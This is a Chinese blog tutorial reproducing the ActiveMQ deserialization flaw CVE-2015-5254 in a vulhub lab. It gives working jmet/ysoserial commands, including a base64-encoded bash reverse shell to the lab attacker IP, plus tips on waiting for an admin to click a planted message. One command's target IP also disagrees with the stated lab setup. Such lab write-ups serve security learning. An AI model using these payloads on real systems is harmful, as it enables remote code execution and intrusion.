一、ActiveMQ介绍

1.1 简介

Apache的一款JAVA开源消息中间件,支持Java消息服务、集群、SpringFrameword等。属于消息队列组件。
(消息队列组件:分布式系统中的重要组件,主要解决应用耦合、异步消息、流量削峰等)

1.2 漏洞影响版本

Apache ActiveMQ < 5.13.0 之前 5.x版本

1.3 漏洞成因

漏洞没有限制在代理中序列化的类,远程攻击者可以借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行恶意代码。

1.4 漏洞利用限制

1、版本符合
2、立即执行代码:能够有 弱密码登录 查看消息队列
3、没有查看队列所有消息的用户名和密码下,只能管理员/用户去点击我们插入的消息才能触发(比较鸡肋,但可以写入创建用户命令等待管理员点击查看,概率很大!)

1.5 业务场景

消息队列在大型电子商务类网站(JD、淘宝等)深入应用,主要消除高并发访问高峰,加快网站响应速度。

(Tips:介绍业务场景便于我们对拿到一个站点思考是否可能应用此消息队列组件)
(例如:不使用消息队列用户请求会直接写入数据库,在高并发情况下会对数据库造成大压力,使系统响应延迟加剧。
在使用消息队列后,用户的请求发给队列后不会立即返回,如有时提交了订单,系统提示:“您提交了订单、请等待系统确认!”
再由消息队列组件从消息队列中获取数据,异步写入数据库,从而响应延迟得以改善)

二、靶场搭建

靶机: ubuntu
IP: 192.168.241.142

攻击机: kali
IP: 192.168.241.128

直接使用 vluhub 环境了

cd activemq/CVE-2015-5254
docker-compose up -d


三、漏洞利用

3.1、漏洞验证

使用 jmet 进行漏洞利用(原理:使用集成的ysoserial生成payload并发送)

在 jmet 同级目录创建 external 目录

构造队列消息发送到目标服务器(这里为在目标服务器/tmp目录创建一个文件)

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -Y "touch /tmp/success" -Yp ROME 192.168.159.129 61616

使用ROME payload把执行touch /tmp/success命令序列化后作为event消息队列名发送给目标ActiveMQ)

访问web站点查看创建的消息队列是否成功
前提: 需要拿到BasicHTML认证的账号密码,这里为了演示admin:admin(弱口令)

登录成功后查看到创建的消息队列

当用户浏览事件点击该消息队列时便可触发反序列化漏洞

进入到docker对应容器中,在/tmp目录下生成一个success文件(受害者访问)

至此验证漏洞存在并复现完毕

3.2、漏洞利用 反弹shell

局限性:在等待shell连接时候,需要管理员/用户点击你的事件

攻击者于 19111 端口监听shell连接

接下来,发送bash弹shell的命令payload到服务器
(这里需要对bash命令进行base64编码)

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0MS4xMjgvMTkxMTEgMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.241.142 61616


成功添加事件

点击访问该事件,payload便会执行(真实攻击场景下,此过程需要等待管理员点击)

四、修复建议

1、升级到最新版本
2、有WAF的可以配置相关规则进行拦截

更多资源:
1、web安全工具、渗透测试工具
2、存在漏洞的网站源码与代码审计+漏洞复现教程、
3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频
4、应急响应真实案例复现靶场与应急响应教程
收集整理在知识星球,可加入知识星球进行查看。也可搜索关注微信公众号:W小哥

ActiveMQ反序列化漏洞 getshell(CVE-2015-5254)——漏洞复现相关推荐

  1. ActiveMQ反序列化漏洞(CVE-2015-5254)复现

    0x00 漏洞前言 Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等.Apache A ...

  2. (23)【漏洞利用】【原理、利用过程】中间件解析漏洞、CMS漏洞、编辑器漏洞、CVE漏洞

    目录 解析漏洞: 原理: 变化因素: 熟知的中间件(解析漏洞) 0x01    IIS5.x-6.x解析漏洞: (1)目录解析漏洞(IIS6.0) 原理: 利用过程: (2)文件解析漏洞 原理: 利用 ...

  3. JBoss未授权访问漏洞Getshell过程复现

    文章目录 前言 漏洞复现 漏洞描述 靶场搭建 漏洞利用 防御手段 Jexboss脚本 前言 在 2021 年第五届强网杯全国网络安全挑战赛的 EasyWeb 赛题中遇到了 JBoss 未授权访问漏洞 ...

  4. 记某CMS漏洞getshell

    记极致CMS漏洞getshell 今天下午比较空闲,就去搜索一些cms,突然对极致CMS感兴趣,而网上已经有一些文章对它进行分析利用,sql注入,xss,后台修改上传后缀名前台getshell等等. ...

  5. 【文件包含漏洞-03】文件包含漏洞的利用及如何利用本地文件包含漏洞GetShell

    文件包含漏洞的利用 读取敏感文件 我们可以利用文件包含漏洞读取任意文件,读取文件的时候有利用条件 目标主机文件存在(目标文件的路径.绝对路径.相对路径) 具有文件可读权限 提交参数http://loc ...

  6. 锐捷NBR路由器 EWEB网管系统 远程命令执行漏洞 + GetShell

    锐捷NBR路由器 EWEB网管系统 远程命令执行漏洞 + GetShell 漏洞编号: CNVD-2021-09650 漏洞描述:锐捷NBR路由器 EWEB网关系统部分接口存在命令注入,导致远程命令执 ...

  7. 实战getshell新姿势-SSRF漏洞利用与getshell实战

    实战getshell新姿势-SSRF漏洞利用与getshell实战 一.什么地方最容易出现SSRF 二.SSRF漏洞危害 三.SSRF 神器 Curl 的使用 四.最常用的跳转绕过 五.Python ...

  8. android 漏洞发布,CVE发布2016年软件漏洞排行榜报告:安卓以523处位居第一

    IT之家讯 1月3日消息,近期CVE Details公布了2016年软件漏洞数量最新报告,根据报告显示,漏洞存在数量最多的是安卓系统,以523处漏洞位居第一,排名第二的为Debian Linux系统, ...

  9. 2020年10月Oracle安全补丁:四个远程无凭证漏洞 两个内核级别漏洞需关注

    墨墨导读:Oracle 公司发布了最新一期的数据库重要补丁更新建议,我们整理和分析10月号的内容以便供用户和读者参考. 数据技术嘉年华,十周年盛大开启,点我立即报名!大会以"自研·智能·新基 ...

  10. 2020年网络安全漏洞态势报告-Web应用漏洞

    Web应用漏洞 2020年的"全面推进互联网+,打造数字经济新优势"背景下,数字化经济发展促进了基于互联网的数字化系统和创新应用程序的快速增长.同时由于网络攻击技术和目标类型的更新 ...

最新文章

  1. 远程控制软件VNC教程和对内网机器控制的实现
  2. SAP PM入门系列29 - IW65 Display Activities
  3. Juniper SRX IPsec *** base route CLI
  4. 用VB.net开发.NET Micro Framework
  5. 认识计算机ppt封面,认识计算机.ppt
  6. Scala数组和Java集合互转代码演示
  7. 《R语言数据挖掘》----1.15 结果可视化
  8. 连接mysql数据库时提示2003-can t connect to MySQL server on ip(10060)的解决办法
  9. eclipse 使用lombok 出现的问题
  10. iOS 应用的启动流程和优化详解
  11. ai人工智能操控什么意思_为什么AI会(永远)接管
  12. Web | MIME类型
  13. VLAN与Trunk的配置
  14. 制作u盘winpe启动盘_u盘启动盘制作工具软件哪个好?
  15. MATLAB里面接地叫啥,单相接地是什么意思
  16. btrfs filesystem 增加容量
  17. 信息系统项目管理师必背核心考点(二十一)可交付成果
  18. c语言调用函数的方法案例,C语言经典例题100例——C语言练习实例34解答(函数调用)...
  19. 【Python】天气预报(发送网易邮件,微信公众测试号,企业微信),周末用时一天,两万字代码,纯肝货(完整项目)一一CSDN21天学习挑战赛
  20. xml报错 Parse Fatal Error :在实体引用中,实体名称必须紧跟在''后面

热门文章

  1. Java如何实现网页截图?
  2. Java+Selenium实现网页截图
  3. 大四学生的前端实习记录
  4. PowerShell中使用WMI或CIM
  5. python运行内存不足_Python内存不足(使用后缀树)
  6. C++设计模式--单例模式
  7. PHP电话号码 区号,中国城市电话区号对照表
  8. SpringMVC 406状态码
  9. Unity笔记-05
  10. edu教育网邮箱注册申请普及